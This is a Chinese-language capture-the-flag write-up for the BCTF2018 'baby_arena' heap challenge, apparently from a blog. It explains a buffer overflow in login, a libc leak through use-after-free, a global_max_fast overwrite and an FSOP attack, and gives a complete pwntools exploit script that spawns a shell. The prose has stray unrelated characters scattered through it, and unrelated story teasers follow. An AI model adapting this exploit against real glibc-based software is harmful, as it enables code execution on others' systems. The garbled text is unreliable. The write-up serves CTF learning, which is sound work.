BCTF2018 baby_arena

漏洞位置

login函數(shù)中v3變量大小只有8武学,輸入了0x10造成了溢出页衙,溢出到v4造成了任意地址寫簇宽,不過只能寫成admin或者clientele匹摇。

login

漏洞利用

首先有個alloc_check函數(shù)限制了申請的堆大小在0x960x176F之間,也就是在fastbin之外狮暑。

alloc_check
delete函數(shù)中鸡挠,free后的空間沒有清空。
delete
由此結(jié)合后面的view函數(shù)可leaklibc基址搬男,并且獲得global_max_fast的地址拣展。然后觸發(fā)login中的任意地址寫止后,將clientele寫到global_max_fast的地址瞎惫,可以將fastbin的最大值改成特別大,最后算好偏移译株,將一個很大的構(gòu)造好可以觸發(fā)FSOPfake_file freeIO_list_all的地方瓜喇,最后在exit時觸發(fā)FSOP執(zhí)行one_gadgetshell

  • global_max_fastmain_arena中控制最大fastbin大小的變量歉糜。
  • fastbin在根據(jù)大小不同乘寒,分別鏈到main_arena中的fastbinY數(shù)組中,數(shù)組大小為10匪补,若修改global_max_fast之后伞辛,更大的fastbin將會根據(jù)偏移來計算鏈到的位置,而超出原本fastbinY規(guī)定的位置夯缺,到達bins甚至更后面的File結(jié)構(gòu)體蚤氏。
  • FSOP貼個鏈接吧,大概就是當程序在干下列事情之一時:
    1.libc執(zhí)行abort流程時
    2.當執(zhí)行exit函數(shù)時
    3.當執(zhí)行流從main函數(shù)返回時
    會調(diào)用_IO_flush_all_lockp函數(shù)踊兜,在調(diào)用次函數(shù)時竿滨,當滿足以下條件時:
    1._IO_FILE -> _mode <= 0
    2._IO_FILE -> _IO_write_ptr > _IO_FILE -> _IO_write_base
    又會執(zhí)行_IO_OVERFLOW(_IO_FILE_plus , EOF)函數(shù),其中提到的我們劫持_IO_list_all的指針后(_IO_list_all中存放了_IO_FILE的值),下面的_mode于游、_IO_write_ptr毁葱、_IO_write_base皆是該結(jié)構(gòu)體上的變量,其中_IO_OVERFLOW函數(shù)贰剥,是存在于_IO_FILE_plus.vtable上偏移為0x18的函數(shù)指針倾剿,_IO_FILE_plus.vtable也是在該結(jié)構(gòu)提上的指針。以上變量自己按著偏移去構(gòu)造就行了蚌成。值得注意的是前痘,當通過chunk劫持了_IO_list_all的指針后,由于指針指的是堆快的首地址笑陈,所以算偏移時需要減去堆頭的大小际度。

my-exp.py

from pwn import *
local = 1
one_gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147]
if local:
    p = process('./baby_arena')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    print 'time is up;'

def create(size , note):
    p.recvuntil('exit\n')
    p.sendline('1')
    p.recvuntil('size\n')
    p.sendline(str(size))
    p.recvuntil('note\n')
    p.sendline(note)
    p.recvuntil('is\n')
    note_is = p.recvuntil('\n')[:-1]
    p.recvuntil('successed\n')
    return note_is

def delete(id):
    p.recvuntil('exit\n')
    p.sendline('2')
    p.recvuntil('id:\n')
    p.sendline(str(id))
    p.recvuntil('order!\n')

def login(name , is_admin):
    p.recvuntil('exit\n')
    p.sendline('3')
    p.recvuntil('name\n')
    p.sendline(name)
    p.recvuntil('admin\n')
    p.sendline(str(is_admin))

def debug():
    print pidof(p)[0]
    raw_input()

#make fake_file to trigger FSOP
fake_file = 'a' * (0x20 - 0x10)     #padding
fake_file += p64(0)                 #write_base => offset_0x20
fake_file += p64(1)                 #write_ptr  => offset_0x28
fake_file += 'b' * (0xb8 - 0x28)    #padding
fake_file += p64(0)                 #mode       => offset_0xc0
fake_file += 'c' * (0xd0 - 0xc0)    #padding
fake_file += p64(0x6020b0 - 0x18)   #vtable     => offset_0xd8

#leak libc_base and get some important addr
create(0xa0 , '1' * 0xa0)           #0
create(0xa0 , '2' * 0xa0)           #1
create(0x1400 , fake_file)          #2  free to fastbin and overwrite IO_list_all
delete(0)
leak = create(0xa0 , '3' * 8)
libc.address = u64(leak[8:].ljust(8 , '\x00')) - 0x3c4b78
global_max_fast_addr = libc.address + 0x3c67f8
IO_list_all_addr = libc.symbols['_IO_list_all']
success('libc_base => ' + hex(libc.address))
success('global_max_fast => ' + hex(global_max_fast_addr))
success('IO_list_all => ' + hex(IO_list_all_addr))

#overwrite global_mas_fast and free chunk2 to overwrite IO_list_all to fake_file 
login(p64(libc.address + one_gadget[1]) + p64(global_max_fast_addr - 8) , 0)
p.recvuntil('wrong choice\n')
delete(2)
#debug()

#exit() and exec one_gadget to get shell
p.recv(1024)
p.sendline('4')
p.interactive()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末葵袭,一起剝皮案震驚了整個濱河市涵妥,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌坡锡,老刑警劉巖蓬网,帶你破解...
    沈念sama閱讀 218,682評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異鹉勒,居然都是意外死亡帆锋,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,277評論 3 395
  • 文/潘曉璐 我一進店門禽额,熙熙樓的掌柜王于貴愁眉苦臉地迎上來锯厢,“玉大人,你說我怎么就攤上這事脯倒∈导” “怎么了?”我有些...
    開封第一講書人閱讀 165,083評論 0 355
  • 文/不壞的土叔 我叫張陵藻丢,是天一觀的道長剪撬。 經(jīng)常有香客問我,道長悠反,這世上最難降的妖魔是什么残黑? 我笑而不...
    開封第一講書人閱讀 58,763評論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮斋否,結(jié)果婚禮上梨水,老公的妹妹穿的比我還像新娘。我一直安慰自己茵臭,他們只是感情好疫诽,可當我...
    茶點故事閱讀 67,785評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般踊沸。 火紅的嫁衣襯著肌膚如雪歇终。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,624評論 1 305
  • 那天逼龟,我揣著相機與錄音评凝,去河邊找鬼。 笑死腺律,一個胖子當著我的面吹牛奕短,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播匀钧,決...
    沈念sama閱讀 40,358評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼翎碑,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了之斯?” 一聲冷哼從身側(cè)響起日杈,我...
    開封第一講書人閱讀 39,261評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎佑刷,沒想到半個月后莉擒,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,722評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡瘫絮,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,900評論 3 336
  • 正文 我和宋清朗相戀三年涨冀,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片麦萤。...
    茶點故事閱讀 40,030評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡鹿鳖,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出壮莹,到底是詐尸還是另有隱情翅帜,我是刑警寧澤,帶...
    沈念sama閱讀 35,737評論 5 346
  • 正文 年R本政府宣布垛孔,位于F島的核電站藕甩,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏周荐。R本人自食惡果不足惜狭莱,卻給世界環(huán)境...
    茶點故事閱讀 41,360評論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望概作。 院中可真熱鬧腋妙,春花似錦、人聲如沸讯榕。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,941評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至济竹,卻和暖如春痕檬,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背送浊。 一陣腳步聲響...
    開封第一講書人閱讀 33,057評論 1 270
  • 我被黑心中介騙來泰國打工梦谜, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人袭景。 一個月前我還...
    沈念sama閱讀 48,237評論 3 371
  • 正文 我出身青樓唁桩,卻偏偏與公主長得像,于是被迫代替她去往敵國和親耸棒。 傳聞我的和親對象是個殘疾皇子荒澡,可洞房花燭夜當晚...
    茶點故事閱讀 44,976評論 2 355

推薦閱讀更多精彩內(nèi)容